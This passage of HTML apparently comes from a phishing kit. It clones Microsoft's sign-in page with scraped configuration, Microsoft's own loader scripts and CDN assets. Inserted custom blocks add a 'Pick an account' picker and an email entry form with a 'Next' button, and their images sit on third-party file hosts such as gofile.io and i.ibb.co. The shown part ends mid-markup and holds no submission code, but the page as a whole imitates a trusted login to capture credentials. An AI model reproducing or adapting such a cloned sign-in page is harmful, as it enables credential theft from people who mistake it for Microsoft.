anary":"AQABAAAAAAD--DLA3VO7QrddgJg7WevrDp27T3oS8EY6IpHrD2G4k144B9L1zo58D_xIvta8EaSnAUAUZl7p_i9bhWqF8eDyv8237lrgE13xRa0hMKbFIrlh_639vZJPXTZuWAWpl0V2OLtqAxS7EA4EbLTXm-4RZeR7f7AS_M5vx6vJZBcev_m_qdWGTIrjPvsAGvzOyHLmqXcCOuoId3Y1LGHqHtfkYMvOjw_KybS9tGdnK1DnMiAA","canary":"RpFH535KI29cVMPt95etwWZEIRUqo+jgHPMhOlilr+w=6:1","correlationId":"d254356d-ffce-4ea7-b0dd-9307eef5b6ee","sessionId":"46cb149f-9658-41b3-b269-70d217634400","locale":{"mkt":"en-US","lcid":1033},"slMaxRetry":2,"slReportFailure":true,"strings":{"desktopsso":{"authenticatingmessage":"Trying to sign you in"}},"enums":{"ClientMetricsModes":{"None":0,"SubmitOnPost":1,"SubmitOnRedirect":2,"InstrumentPlt":4}},"urls":{"instr":{"pageload":"https://login.microsoftonline.com/common/instrumentation/reportpageload","dssostatus":"https://login.microsoftonline.com/common/instrumentation/dssostatus"}},"browser":{"ltr":1,"Firefox":1,"_Win":1,"_M83":1,"_D0":1,"Full":1,"Win81":1,"RE_Gecko":1,"b":{"name":"Firefox","major":83,"minor":0},"os":{"name":"Windows","version":"10.0"},"V":"83.0"},"watson":{"url":"/common/handlers/watson","bundle":"https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/watson.min_ybdb1ixzkv-fkor2mu6q6w2.js","sbundle":"https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/watsonsupportwithjquery.3.5.min_dc940oomzau4rsu8qesnvg2.js","fbundle":"https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/frameworksupport.min_oadrnc13magb009k4d20lg2.js","resetErrorPeriod":5,"maxCorsErrors":-1,"maxInjectErrors":5,"maxErrors":10,"maxTotalErrors":3,"expSrcs":["https://login.microsoftonline.com","https://aadcdn.msauth.net/","https://aadcdn.msftauth.net/",".login.microsoftonline.com"],"envErrorRedirect":true,"envErrorUrl":"/common/handlers/enverror"},"loader":{"cdnRoots":["https://aadcdn.msauth.net/","https://aadcdn.msftauth.net/"],"logByThrowing":true},"serverDetails":{"slc":"ProdSlices","dc":"WUS2","ri":"MW1XXXX","ver":{"v":[2,1,11530,15]},"rt":"2021-03-06T11:19:43","et":52},"country":"US","fBreakBrandingSigninString":true,"fFixIncorrectApiCanaryUsage":true,"bsso":{"initiatePullTimeoutMs":100,"initiatePullTimeoutAction":"continue","rid":"XMR":"end","END_SSO":"end-sso","END_USERS":"end-users"},"forceTiles":true,"nonce":"AwABAAAAAAACAOz_BAD0_9IG1hbpUKFOYYR3vayixNgTGb1hnJ7vvvKBbl_5yS1z8SzReVS2k6qGIinDoJo0LwnH8ZlEM8cA7vnI96yAcIMgAA","overallTimeoutMs":4000,"telemetry":{"type":"TBAuthTelemetry","nonce":"AwABAAEAAAACAOz_BAD0_zAaVTb88660r1knGrRJDQW1Y_gVHcMu1323gMErKm5CKJKROxyGPcxg-oDpuMEzA-seAMmJNXwMSet6OD04-oIcADBRIGgEvHbMzsaVv7YvIAA","reportStates":["end","end-sso","end-users"]},"redirectEndStates":["end","end-users"],"cookieNames":{"aadSso":"AADSSO","winSso":"ESTSSSO","ssoTiles":"ESTSSSOTILES","ssoPulled":"SSOCOOKIEPULLED","userList":"ESTSUSERLIST"},"enabled":true,"type":"windows","reason":"Pull is needed; Forcing tiles experience as silent SSO not allowed"},"urlNoCookies":"https://login.microsoftonline.com/cookiesdisabled","fTrimChromeBssoUrl":true,"inlineMode":5,"fShowCopyDebugDetailsLink":true};
//]]></script> 
<script type="text/javascript">//<![CDATA[
!function(){var e=window,r=e.$Debug=e.$Debug||{},t=e.$Config||{};if(!r.appendLog){var n=[],o=0;r.appendLog=function(e){var r=t.maxDebugLog||25,a=(new Date).toUTCString()+":"+e;n.push(o+":"+a),n.length>r&&n.shift(),o++},r.getLogs=function(){return n}}}(),function(){function e(e,r){function t(a){var i=e[a];if(a<n-1){return void(o.r[i]?t(a+1):o.when(i,function(){t(a+1)}))}r(i)}var n=e.length;t(0)}function r(e,r,a){function i(){var e=!!u.method,o=e?u.method:a[0],i=u.extraArgs||[],s=n.$WebWatson;try{
var c=t(a,!e);if(i&&i.length>0){for(var d=i.length,l=0;l<d;l++){c.push(i[l])}}o.apply(r,c)}catch(e){return void(s&&s.submitFromException&&s.submitFromException(e))}}var u=o.r&&o.r[e];return r=r||this,u&&(u.skipTimeout?i():n.setTimeout(i,0)),u}function t(e,r){return Array.prototype.slice.call(e,r?1:0)}var n=window;n.$Do||(n.$Do={"q":[],"r":[],"removeItems":[],"lock":0,"o":[]});var o=n.$Do;o.when=function(t,n){function a(e){r(e,i,u)||o.q.push({"id":e,"c":i,"a":u})}var i=0,u=[],s=1;"function"==typeof n||(i=n,
s=2);for(var c=s;c<arguments.length;c++){u.push(arguments[c])}t instanceof Array?e(t,a):a(t)},o.register=function(e,t,n){if(!o.r[e]){o.o.push(e);var a={};if(t&&(a.method=t),n&&(a.skipTimeout=n),arguments&&arguments.length>3){a.extraArgs=[];for(var i=3;i<arguments.length;i++){a.extraArgs.push(arguments[i])}}o.r[e]=a,o.lock++;try{for(var u=0;u<o.q.length;u++){var s=o.q[u];s.id==e&&r(e,s.c,s.a)&&o.removeItems.push(s)}}catch(e){throw e}finally{if(0===--o.lock){for(var c=0;c<o.removeItems.length;c++){
for(var d=o.removeItems[c],l=0;l<o.q.length;l++){if(o.q[l]===d){o.q.splice(l,1);break}}}o.removeItems=[]}}}},o.unregister=function(e){o.r[e]&&delete o.r[e]}}(),function(e,r){function t(){if(!i){if(!r.body){return void setTimeout(t)}i=!0,e.$Do.register("doc.ready",0,!0)}}function n(){if(!u){if(!r.body){return void setTimeout(n)}t(),u=!0,e.$Do.register("doc.load",0,!0),a()}}function o(e){(r.addEventListener||"load"===e.type||"complete"===r.readyState)&&t()}function a(){
r.addEventListener?(r.removeEventListener("DOMContentLoaded",o,!1),e.removeEventListener("load",n,!1)):r.attachEvent&&(r.detachEvent("onreadystatechange",o),e.detachEvent("onload",n))}var i=!1,u=!1;if("complete"===r.readyState){return void setTimeout(n)}!function(){r.addEventListener?(r.addEventListener("DOMContentLoaded",o,!1),e.addEventListener("load",n,!1)):r.attachEvent&&(r.attachEvent("onreadystatechange",o),e.attachEvent("onload",n))}()}(window,document),function(){function e(){
return f.$Config||f.ServerData||{}}function r(e,r){var t=f.$Debug;t&&t.appendLog&&(r&&(e+=" '"+(r.src||r.href||"")+"'",e+=", id:"+(r.id||""),e+=", async:"+(r.async||""),e+=", defer:"+(r.defer||"")),t.appendLog(e))}function t(){var e=f.$B;if(void 0===d){if(e){d=e.IE}else{var r=f.navigator.userAgent;d=-1!==r.indexOf("MSIE ")||-1!==r.indexOf("Trident/")}}return d}function n(){var e=f.$B;if(void 0===l){if(e){l=e.RE_Edge}else{var r=f.navigator.userAgent;l=-1!==r.indexOf("Edge")}}return l}function o(e){
var r=e.indexOf("?"),t=r>-1?r:e.length,n=e.lastIndexOf(".",t);return e.substring(n,n+v.length).toLowerCase()===v}function a(){var r=e();return(r.loader||{}).slReportFailure||r.slReportFailure||!1}function i(){return(e().loader||{}).redirectToErrorPageOnLoadFailure||!1}function u(){return(e().loader||{}).logByThrowing||!1}function s(e){if(!t()&&!n()){return!1}var r=e.src||e.href||"";if(!r){return!0}if(o(r)){var a,i,u;try{a=e.sheet,i=a&&a.cssRules,u=!1}catch(e){u=!0}if(a&&!i&&u){return!0}
if(a&&i&&0===i.length){return!0}}return!1}function c(){function t(e){g.getElementsByTagName("head")[0].appendChild(e)}function n(e,r,t,n){var s=null;return s=o(e)?a(e):"script"===n.toLowerCase()?i(e):u(e,n),r&&(s.id=r),"function"==typeof s.setAttribute&&(s.setAttribute("crossorigin","anonymous"),t&&"string"==typeof t&&s.setAttribute("integrity",t)),s}function a(e){var r=g.createElement("link");return r.rel="stylesheet",r.type="text/css",r.href=e,r}function i(e){var r=g.createElement("script")
;return r.type="text/javascript",r.src=e,r.defer=!1,r.async=!1,r}function u(e,r){var t=g.createElement(r);return t.src=e,t}function d(e){if(!(m&&m.length>1)){return e}for(var r=0;r<m.length;r++){if(0===e.indexOf(m[r])){return m[r+1<m.length?r+1:0]+e.substring(m[r].length)}}return e}function l(e,t,n,o){if(r("[$Loader]: "+(b.failMessage||"Failed"),o),$[e].retry<p){return $[e].retry++,v(e,t,n),void c._ReportFailure($[e].retry,$[e].srcPath)}n&&n()}function f(e,t,n,o){if(s(o)){return l(e,t,n,o)}
r("[$Loader]: "+(b.successMessage||"Loaded"),o),v(e+1,t,n);var a=$[e].onSuccess;"function"==typeof a&&a($[e].srcPath)}function v(e,o,a){if(e<$.length){var i=$[e];if(!i||!i.srcPath){return void v(e+1,o,a)}i.retry>0&&(i.srcPath=d(i.srcPath),i.origId||(i.origId=i.id),i.id=i.origId+"_Retry_"+i.retry);var u=n(i.srcPath,i.id,i.integrity,i.tagName);u.onload=function(){f(e,o,a,u)},u.onerror=function(){l(e,o,a,u)},u.onreadystatechange=function(){"loaded"===u.readyState?setTimeout(function(){f(e,o,a,u)
},500):"complete"===u.readyState&&f(e,o,a,u)},t(u),r("[$Loader]: Loading '"+(i.srcPath||"")+"', id:"+(i.id||""))}else{o&&o()}}var h=e(),p=h.slMaxRetry||2,y=h.loader||{},m=y.cdnRoots||[],b=this,$=[];b.retryOnError=!0,b.successMessage="Loaded",b.failMessage="Error",b.Add=function(e,r,t,n,o,a){e&&$.push({"srcPath":e,"id":r,"retry":n||0,"integrity":t,"tagName":o||"script","onSuccess":a})},b.AddForReload=function(e,r){var t=e.src||e.href||"";b.Add(t,"AddForReload",e.integrity,1,e.tagName,r)},
b.AddIf=function(e,r,t){e&&b.Add(r,t)},b.Load=function(e,r){v(0,e,r)}}var d,l,f=window,g=f.document,v=".css";c.On=function(e,r,t){if(!e){throw"The target element must be provided and cannot be null."}r?c.OnError(e,t):c.OnSuccess(e,t)},c.OnSuccess=function(e,t){if(!e){throw"The target element must be provided and cannot be null."}if(s(e)){return c.OnError(e,t)}var n=e.src||e.href||"",o=a(),u=i();r("[$Loader]: Loaded",e);var d=new c;d.failMessage="Reload Failed",d.successMessage="Reload Success",
d.Load(null,function(){if(o){throw"Unexpected state. ResourceLoader.Load() failed despite initial load success. ['"+n+"']"}u&&(document.location.href="/error.aspx?err=504")})},c.OnError=function(e,t){var n=e.src||e.href||"",o=a(),u=i();if(!e){throw"The target element must be provided and cannot be null."}r("[$Loader]: Failed",e);var s=new c;s.failMessage="Reload Failed",s.successMessage="Reload Success",s.AddForReload(e,t),s.Load(null,function(){if(o){throw"Failed to load external resource ['"+n+"']"}
u&&(document.location.href="/error.aspx?err=504")}),c._ReportFailure(0,n)},c._ReportFailure=function(e,r){if(u()&&!t()){throw"[Retry "+e+"] Failed to load external resource ['"+r+"'], reloading from fallback CDN endpoint"}},f.$Loader=c}(),function(){function e(){if(!$){var e=new h.$Loader;e.AddIf(!h.jQuery,y.sbundle,"WebWatson_DemandSupport"),y.sbundle=null,delete y.sbundle,e.AddIf(!h.$Api,y.fbundle,"WebWatson_DemandFramework"),y.fbundle=null,delete y.fbundle,e.Add(y.bundle,"WebWatson_DemandLoaded"),
e.Load(r,t),$=!0}}function r(){if(h.$WebWatson){if(h.$WebWatson.isProxy){return void t()}m.when("$WebWatson.full",function(){for(;b.length>0;){var e=b.shift();e&&h.$WebWatson[e.cmdName].apply(h.$WebWatson,e.args)}})}}function t(){if(!h.$WebWatson||h.$WebWatson.isProxy){if(!w&&JSON){try{var e=new XMLHttpRequest;e.open("POST",y.url),e.setRequestHeader("Accept","application/json"),e.setRequestHeader("Content-Type","application/json; charset=UTF-8"),e.setRequestHeader("canary",p.apiCanary),
e.setRequestHeader("client-request-id",p.correlationId),e.setRequestHeader("hpgid",p.hpgid||0),e.setRequestHeader("hpgact",p.hpgact||0);for(var r=-1,t=0;t<b.length;t++){if("submit"===b[t].cmdName){r=t;break}}var o=b[r]?b[r].args||[]:[],a={"sr":y.sr,"ec":"Failed to load external resource [Core Watson files]","wec":55,"idx":1,"pn":p.pgid||"","sc":p.scid||0,"hpg":p.hpgid||0,"msg":"Failed to load external resource [Core Watson files]","url":o[1]||"","ln":0,"ad":0,"an":!1,"cs":"","sd":p.serverDetails,"ls":null,
"diag":v(y)};e.send(JSON.stringify(a))}catch(e){}w=!0}y.loadErrorUrl&&window.location.assign(y.loadErrorUrl)}n()}function n(){b=[],h.$WebWatson=null}function o(r){return function(){var t=arguments;b.push({"cmdName":r,"args":t}),e()}}function a(){var e=["foundException","resetException","submit"],r=this;r.isProxy=!0;for(var t=e.length,n=0;n<t;n++){var a=e[n];a&&(r[a]=o(a))}}function i(e,r,t,n,o,a,i){var u=h.event;return a||(a=l(o||u,i?i+2:2)),
h.$Debug&&h.$Debug.appendLog&&h.$Debug.appendLog("[WebWatson]:"+(e||"")+" in "+(r||"")+" @ "+(t||"??")),E.submit(e,r,t,n,o||u,a,i)}function u(e,r){return{"signature":e,"args":r,"toString":function(){return this.signature}}}function s(e){for(var r=[],t=e.split("\n"),n=0;n<t.length;n++){r.push(u(t[n],[]))}return r}function c(e){for(var r=[],t=e.split("\n"),n=0;n<t.length;n++){var o=u(t[n],[]);t[n+1]&&(o.signature+="@"+t[n+1],n++),r.push(o)}return r}function d(e){if(!e){return null}try{if(e.stack){
return s(e.stack)}if(e.error){if(e.error.stack){return s(e.error.stack)}}else if(window.opera&&e.message){return c(e.message)}}catch(e){}return null}function l(e,r){var t=[];try{for(var n=arguments.callee;r>0;){n=n?n.caller:n,r--}for(var o=0;n&&o<L;){var a="InvalidMethod()";try{a=n.toString()}catch(e){}var i=[],s=n.args||n.arguments;if(s){for(var c=0;c<s.length;c++){i[c]=s[c]}}t.push(u(a,i)),n=n.caller,o++}}catch(e){t.push(u(e.toString(),[]))}var l=d(e)
;return l&&(t.push(u("--- Error Event Stack -----------------",[])),t=t.concat(l)),t}function f(e){if(e){try{var r=/function (.{1,})\(/,t=r.exec(e.constructor.toString());return t&&t.length>1?t[1]:""}catch(e){}}return""}function g(e){if(e){try{if("string"!=typeof e&&JSON&&JSON.stringify){var r=f(e),t=JSON.stringify(e);return t&&"{}"!==t||(e.error&&(e=e.error,r=f(e)),(t=JSON.stringify(e))&&"{}"!==t||(t=e.toString())),r+":"+t}}catch(e){}}return""+(e||"")}function v(e){var r=[];try{
if(jQuery?(r.push("jQuery v:"+jQuery().jquery),jQuery.easing?r.push("jQuery.easing:"+JSON.stringify(jQuery.easing)):r.push("jQuery.easing is not defined")):r.push("jQuery is not defined"),e&&e.expectedVersion&&r.push("Expected jQuery v:"+e.expectedVersion),m){var t,n="";for(t=0;t<m.o.length;t++){n+=m.o[t]+";"}for(r.push("$Do.o["+n+"]"),n="",t=0;t<m.q.length;t++){n+=m.q[t].id+";"}r.push("$Do.q["+n+"]")}if(h.$Debug&&h.$Debug.getLogs){var o=h.$Debug.getLogs();o&&o.length>0&&(r=r.concat(o))}if(b){
for(var a=0;a<b.length;a++){var i=b[a];if(i&&"submit"===i.cmdName){try{if(JSON&&JSON.stringify){var u=JSON.stringify(i);u&&r.push(u)}}catch(e){r.push(g(e))}}}}}catch(e){r.push(g(e))}return r}var h=window,p=h.$Config||{},y=p.watson,m=h.$Do;if(!h.$WebWatson&&y){var b=[],$=!1,w=!1,L=10,E=h.$WebWatson=new a;E.CB={},E._orgErrorHandler=h.onerror,h.onerror=i,E.errorHooked=!0,m.when("jQuery.version",function(e){y.expectedVersion=e}),m.register("$WebWatson")}}(),function(){function e(e,r){
for(var t=r.split("."),n=t.length,o=0;o<n&&null!==e&&void 0!==e;){e=e[t[o++]]}return e}function r(r){var t=null;return null===s&&(s=e(a,"Constants")),null!==s&&r&&(t=e(s,r)),null===t||void 0===t?"":t.toString()}function t(t){var n=null;return null===i&&(i=e(a,"$Config.strings")),null!==i&&t&&(n=e(i,t.toLowerCase())),null!==n&&void 0!==n||(n=r(t)),null===n||void 0===n?"":n.toString()}function n(e,r){var n=null;return e&&r&&r[e]&&(n=t("errors."+r[e])),n||(n=t("errors."+e)),n||(n=t("errors."+c)),n||(n=t(c)),n}
function o(t){var n=null;return null===u&&(u=e(a,"$Config.urls")),null!==u&&t&&(n=e(u,t.toLowerCase())),null!==n&&void 0!==n||(n=r(t)),null===n||void 0===n?"":n.toString()}var a=window,i=null,u=null,s=null,c="GENERIC_ERROR";a.GetString=t,a.GetErrorString=n,a.GetUrl=o}(),function(){var e=window,r=e.$Config||{};e.$B=r.browser||{}}();

//]]></script> 

        <link rel="prefetch" href="https://login.live.com/Me.htm?v=3">
        <link rel="shortcut icon" href="https://aadcdn.msftauth.net/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico">

    <script type="text/javascript">
        ServerData = $Config;
    </script>


    
    <link crossorigin="anonymous" href="https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_kb8fbtudybay5t8ts3k87g2.css" rel="stylesheet" onerror="$Loader.On(this,true)" onload="$Loader.On(this)" integrity="sha384-aaNZkp+Orf+VEZusNFIGnTEJZ9UmRa1+oTUDIv88KY1TTwkFhoZ4wzV9pd5ujWPC">



<script crossorigin="anonymous" src="https://aadcdn.msftauth.net/shared/1.0/content/js/ConvergedLogin_PCore_FZ20atAlhirHa_737xNftg2.js" onerror="$Loader.On(this,true)" onload="$Loader.On(this)"></script>

    <script crossorigin="anonymous" src="https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_asthhb7t8jihncsg5l7_cg2.js" onerror="$Loader.On(this,true)" onload="$Loader.On(this)" integrity="sha384-RUzxg1X2m7djUACTlbHZxYYNzWy5WKCPy5MncckGmTnhsxraQQQsSPOSAMHg1U68"></script>

    


<link rel="prefetch" href="https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_kb8fbtudybay5t8ts3k87g2.css"><link rel="prefetch" href="https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_asthhb7t8jihncsg5l7_cg2.js">
</head>

<body data-bind="defineGlobals: ServerData, bodyCssClass" class="cb" style="display: block;">
   
    <script type="text/javascript">
//<![CDATA[
(function () {
var $Prefetch={"rfPre":true,"delay":1000,"maxHistory":4,"maxAge":43200,"ageRes":1440,"name":"clrc","fetch":[{"path":"https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_kb8fbtudybay5t8ts3k87g2.css","hash":"TfCbp8XZ","co":true,"rf":true},{"path":"https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_asthhb7t8jihncsg5l7_cg2.js","hash":"0XngNfCT","co":true,"rf":true}],"mode":5};
!function(e,t,n){function r(e){x.appendLog&&x.appendLog("Client Prefetch: "+e)}function i(){try{for(var e=t.cookie.split(";"),r=0;r<e.length;r++){var i=e[r];if(i){var o=i.indexOf("=");if(-1!==o){if(i.substr(0,o).trim()===n.name){var u=i.substr(o+1);return JSON.parse(c(u))}}}}}catch(e){}return{}}function o(e,t,n){return e.replace(t,n)}function c(e){return e=o(e,/%5c/g,"\\"),e=o(e,/%3e/g,">"),e=o(e,/%3d/g,"="),e=o(e,/%3c/g,"<"),e=o(e,/%3b/g,";"),e=o(e,/%3a/g,":"),e=o(e,/%2c/g,","),e=o(e,/%27/g,"'"),
e=o(e,/%22/g,'"'),e=o(e,/%20/g," "),e=o(e,/%25/g,"%")}function u(e){return e=o(e,/%/g,"%25"),e=o(e,/ /g,"%20"),e=o(e,/"/g,"%22"),e=o(e,/'/g,"%27"),e=o(e,/,/g,"%2c"),e=o(e,/:/g,"%3a"),e=o(e,/;/g,"%3b"),e=o(e,/</g,"%3c"),e=o(e,/=/g,"%3d"),e=o(e,/>/g,"%3e"),e=o(e,/\\/g,"%5c")}function f(e){var r=new Date;r.setTime(r.getTime()+C*H),t.cookie=n.name+"="+u(JSON.stringify(e))+";expires="+r.toUTCString()+";path=/; Secure; SameSite=None"}function a(e,t){if(e){if(e.indexOf){return e.indexOf(t)}
for(var n=0;n<e.length;n++){if(e[n]===t){return n}}}return-1}function h(e,t){return-1!==a(e,t)}function g(e,t){var n=a(e,t);return-1!==n&&(e.splice(n,1),!0)}function l(e,t){for(var n in e){if(e.hasOwnProperty(n)&&!t(n,e[n])){break}}}function s(){var e=(new Date).getTime(),t=D*H;return P.getTime()>e?Math.round(e/t):Math.round((e-P.getTime())/t)}function d(e,t){var n=!1;if(t&&t.length>0){n=!0;for(var r=0;r<t.length;r++){delete e[t[r]]}}return n}function p(e){var t=s()-C,n=t+2*C,r=null,i=0,o=[]
;return l(e,function(c){return c<t||c>n?o.push(c):(0===e[c].length?o.push(c):(null===r||c<r)&&(r=c),i++),!0}),null!==r&&i>k&&o.push(r),d(e,o)}function v(e,t,n){r("Fetched: "+e+" Hash: "+t+" isRefresh: "+n);var o=i(),c=s(),u=!1,a=!1;if(l(o,function(e,n){return!h(n,t)||(e!==c?g(o[e],t)&&(a=!0):u=!0,!1)}),!u){var d=o[c]||[];d.push(t),o[c]=d,a=!0}a|=p(o),a&&f(o),b()}function m(t,n,i,o){var c={"method":"GET"};i&&(c.mode="cors"),e.fetch(t,c).then(function(e){
200===e.status?v(t,n,o):(r("Unexpected response - "+e.status),b())}).then(null,function(e){r("Failed - "+e),b()})}function T(){if(e.XMLHttpRequest&&!J){return new XMLHttpRequest}if(e.ActiveXObject){try{return new ActiveXObject("Msxml2.XMLHTTP")}catch(e){}try{return new ActiveXObject("Microsoft.XMLHttp")}catch(e){}}return null}function w(e,t,n,i,o){r("Fetching - "+t),e.onload=function(){v(t,n,o)},e.onerror=function(){r("XHR failed!"),b()},e.ontimeout=function(){r("XHR timed out!"),b()};try{e.open("GET",t),
e.withCredentials=i&&!N,e.send()}catch(r){N?setTimeout(function(){v(t,n,o)},0):(N=!0,w(e,t,n,!1,o))}}function O(t,n,i,o){if(e.fetch){return void m(t,n,i,o)}var c=T();if(null!==c){return void w(c,t,n,i,o)}r("Unable to identify a transport option!")}function b(){var e=n.fetch;if(X<e.length&&e[X]){var t=e[X];O(t.path,t.hash,t.co||!1,t.rf||!1),X++}}function y(e){if(e){try{var n=t.createElement("link");n.rel="prefetch",n.href=e,t.head.appendChild(n)}catch(e){}}}function M(){r("Starting"),b(),b()}function S(){
for(var t=e.$Config||e.ServerData||{},r=n.fetch,i=n.mode||-1,o=-1,c=0;c<r.length;c++){0!==o&&i>=3&&(o=r[c].rf?1:0),R&&!J&&y(r[c].path||{})}t.prefetchPltMode=o}if(n&&n.fetch&&0!==n.fetch.length){var x=e.$Debug||{},X=0,H=6e4,P=new Date(2019),k=n.maxHistory||4,C=n.maxAge||20160,D=n.ageRes||1440,L=n.delay||5e3,R=n.rfPre||!1,J=void 0!==(e._phantom||e.callPhantom),N=!1;JSON&&JSON.parse&&(n.clearCookie=function(){document.cookie=n.name+"=; expires=Thu, 01 Jan 1970 00:00:01 GMT;"},e.$Do.when("doc.load",function(){
setTimeout(M,L),setTimeout(S,0)}))}}(window,document,$Prefetch);

;
})();
//]]>
</script>


<div><!--  -->

<!--  -->


	  
	  

    <!-- ko if: svr.iBannerEnvironment --><!-- /ko -->

    <!-- ko withProperties: { '$loginPage': $data } -->
    <div data-bind="component: { name: 'master-page',
        params: {
            serverData: svr,
            showButtons: svr.fShowButtons,
            showFooterLinks: true,
            useWizardBehavior: svr.fUseWizardBehavior,
            handleWizardButtons: false,
            password: password,
            hideFromAria: ariaHidden },
        event: {
            footerAgreementClick: footer_agreementClick } }"><!--  -->

<!-- ko ifnot: useLayoutTemplates --><!-- /ko -->

<!-- ko if: useLayoutTemplates -->
    <!-- ko withProperties: { '$page': $parent } -->
        <!-- ko ifnot: isVerticalSplitTemplate -->
        <div id="lightboxTemplateContainer" data-bind="component: { name: 'lightbox-template', params: { serverData: svr } }"><!--  -->

<div data-bind="component: { name: 'background-image-control',
    publicMethods: $page.backgroundControlMethods }"><div class="background-image-holder app" role="presentation" data-bind="css: { app: isAppBranding }, style: { background: backgroundStyle }">
    <!-- ko if: smallImageUrl -->
    <div class="background-image-small" data-bind="backgroundImage: smallImageUrl()" style="background-image: url(&quot;https://aadcdn.msftauth.net/shared/1.0/content/images/appbackgrounds/49-small_e58aafc980614a9cd7796bea7b5ea8f0.jpg&quot;);"></div>
    <!-- /ko -->

    <!-- ko if: backgroundImageUrl -->
    <div data-bind="backgroundImage: backgroundImageUrl(), externalCss: { 'background-image': true }" style="background-image: url(&quot;https://aadcdn.msftauth.net/shared/1.0/content/images/appbackgrounds/49_7916a894ebde7d29c2cc29b267f1299f.jpg&quot;);" class="background-image ext-background-image"></div>
        <!-- ko if: useImageMask --><!-- /ko -->
    <!-- /ko -->
</div></div>

<div class="outer app" data-bind="css: { 'app': $page.backgroundLogoUrl }">
    <!-- ko if: showHeader --><!-- /ko -->
	 <div>
         <div>
            <!-- <div class="app background">
               <div id="bg_image" style="background-image:url(https://i.stack.imgur.com/vzbuQ.jpg")></div>
            </div> -->
         </div>

            <div class=outer>
               <div class="app middle">
                  <div class="background-logo-holder">
                  	<h1 style="text-align: center; color: white;"></h1><br><br>
                  </div>
                  <div class="app fade-in-lightbox inner">
                     <div>
                        <img id="logo_image" class="banner-logo" src="https://aadcdn.msftauth.net/ests/2.1/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg">
                     </div>
                     <div>


                        <div id="pick_em" style="display: none;">
                           <div class="animate pagination-view slide-in-next">
                              <div data-showfedcredbutton=true data-viewid=1>
                                 <div>
                                    <div class="row text-title" id="loginHeader">
                                       <div aria-level=1>Sign in</div>
                                    </div>
                                 </div>
                                 <div class="row">
                                    <div class="col-md-24 form-group">
                                       <div class="placeholderContainer">
					                   <div class="add_em">
											 <p style="font-weight: bold;margin-left: 4%">Pick an account</p>
											 <a href="#" class="email-picker">
												 <div class="block-m2">
													<img role="presentation" src="https://i.ibb.co/jg6w34B/picker-account.png"> <span id="em_picker"></span><span style="float:right; margin-top:4%"><img src="https://srv-file8.gofile.io/download/NAGerp/picker_more.png" alt=""></span>
												 </div>
											 </a>
											 <a href="#" class="email-picker2">
												 <div class="block-m2">
													<img role="presentation" src="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSI0OCIgaGVpZ2h0PSI0OCIgdmlld0JveD0iMCAwIDQ4IDQ4Ij48dGl0bGU+YXNzZXRzPC90aXRsZT48Y2lyY2xlIGN4PSIyNCIgY3k9IjI0IiByPSIyNCIgZmlsbD0iI2U2ZTZlNiIvPjxwYXRoIGQ9Ik0yNSwyM0gzNnYySDI1VjM2SDIzVjI1SDEyVjIzSDIzVjEyaDJaIiBmaWxsPSIjNDA0MDQwIi8+PC9zdmc+"><span style="word-wrap:break-word;"> Use another account</span>
												 </div>
											 </a>
											 <br>
										</div>
                                       </div>
                                    </div>
                                 </div>
                                 <div class="position-buttons">

                                 </div>
                              </div>
                           </div>
                        </div>

                        <div id="add_em" style="display: none;">
                           <div class="animate pagination-view slide-in-next">
                              <div data-showfedcredbutton=true data-viewid=1>
                                 <div>
                                    <div class="row text-title" id="loginHeader">
                                       <div aria-level=1>Sign in</div>
                                      
                                    </div>
                                 </div>
                                 <div class=row>
									<div aria-live="assertive" role="alert" style="display: none;" class="error-alert">
										<div class="alert alert-error error-alert-msg"></div>
										<br>
									</div>
                                    <div class="col-md-24 form-group">
                                      
									    <div class="">
											<input type="text" name="email" id="email" class="form-control ltr_override" value="" placeholder="Email, phone or skype">
                                       </div>
                                    </div>
                                 </div>
								 <p>No account? <a href="#">Create one!</a></p>
								<a href="#" data-bind="
            attr: { 'id': switchToCredId },
            text: switchToCredText,
            click: switchToCred_onClick" id="idA_PWD_SwitchToFido">Sign in with a security key</a>
        <!-- /ko -->

        <!-- ko if: displayHelp && selectedCredType === 7 -->
            <!-- ko component: { name: 'fido-help-button-control',
                params: {
                    isPlatformAuthenticatorAvailable: isPlatformAuthenticatorAvailable() },
                event: {
                    registerDialog: onRegisterDialog,
                    unregisterDialog: onUnregisterDialog,
                    showDialog: onShowDialog } } --><!--  -->

<span class="help-button" role="button" tabindex="0" data-bind="
    click: fidoHelp_onClick,
    pressEnter: fidoHelp_onClick,
    hasFocus: hasFocus,
    ariaLabel: isPlatformAuthenticatorAvailable ? str['CT_STR_CredentialPicker_Help_Desc_Fido'] : str['CT_STR_CredentialPicker_Help_Desc_FidoCrossPlatform']" aria-label="Learn more about signing in with a security key">

    <!-- ko component: 'accessible-image-control' --><!-- ko if: (isHighContrastBlackTheme || hasDarkBackground || svr.fHasBackgroundColor) && !isHighContrastWhiteTheme --><!-- /ko -->
<!-- ko if: (isHighContrastWhiteTheme || (!hasDarkBackground && !svr.fHasBackgroundColor)) && !isHighContrastBlackTheme -->
<!-- ko template: { nodes: [darkImageNode], data: $parent } --><img role="presentation" pngsrc="https://aadcdn.msftauth.net/shared/1.0/content/images/documentation_9628e22a6bfb1edc59e81064a666b614.png" svgsrc="https://aadcdn.msftauth.net/shared/1.0/content/images/documentation_bcb4d1dc4eae64f0b2b2538209d8435a.svg" data-bind="imgSrc" src="https://aadcdn.msftauth.net/shared/1.0/content/images/documentation_bcb4d1dc4eae64f0b2b2538209d8435a.svg"><!-- /ko -->
<!-- /ko --><!-- /ko -->
</span>

                                 <div class="position-buttons">
                                   
                                    <div class=row>
                                       <div class="col-xs-24 no-padding-left-right button-container">
                                       <div class=inline-block>
                                          <button class="btn btn-block btn-primary btn-email">Next</button>
                                       </div>
                                       </div>
                                    </div>
                                 </div>
                              </div>
